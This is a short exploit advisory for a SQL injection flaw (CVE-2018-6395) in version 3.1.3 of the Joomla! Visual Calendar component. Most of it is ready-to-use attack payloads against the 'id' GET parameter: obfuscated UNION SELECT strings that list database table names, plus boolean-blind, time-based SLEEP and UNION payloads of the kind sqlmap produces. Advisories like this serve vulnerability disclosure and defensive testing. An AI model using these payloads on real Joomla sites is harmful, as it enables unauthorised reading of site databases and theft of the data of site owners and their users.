Joomla! Visual Calendar 3.1.3 SQL Injection

`# # # # #  
# Exploit Title: Joomla! Component Visual Calendar 3.1.3 - SQL Injection  
# Dork: N/A  
# Date: 30.01.2018  
# Vendor Homepage: http://www.joomlacalendars.com/  
# Software Link: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/visual-calendar/  
# Version: 3.1.3  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: CVE-2018-6395  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:   
#   
# 1)  
# http://localhost/[PATH]/index.php?option=com_visualcalendar&view=load&id=[SQL]  
#   
# -1%20%20/*!06666UNION*/%20/*!06666SELECT*/%20(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)%2c0x32%2c0x33%2c0x34%2c0x35%2c0x36%2d%2d%20%2d  
#   
# -1%20%20/*!06666UNION*/%20/*!06666SELECT*/%201%2c0x32%2c(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)%2c0x34%2c0x35%2c0x36%2d%2d%20%2d  
#   
# Parameter: id (GET)  
# Type: boolean-based blind  
# Title: AND boolean-based blind - WHERE or HAVING clause  
# Payload: r=0.31729071866720915&option=com_visualcalendar&view=load&id=1 AND 2616=2616  
#   
# Type: AND/OR time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind  
# Payload: r=0.31729071866720915&option=com_visualcalendar&view=load&id=1 AND SLEEP(5)  
#   
# Type: UNION query  
# Title: Generic UNION query (NULL) - 6 columns  
# Payload: r=0.31729071866720915&option=com_visualcalendar&view=load&id=1 UNION ALL SELECT CONCAT(0x716a627a71,0x586a6c7676787a6f684c73745863744b7955784a47534d58797158564a53716d6b57434f6141536c,0x71786b6a71),NULL,NULL,NULL,NULL,NULL-- QpYd  
#   
# # # # #  
  
`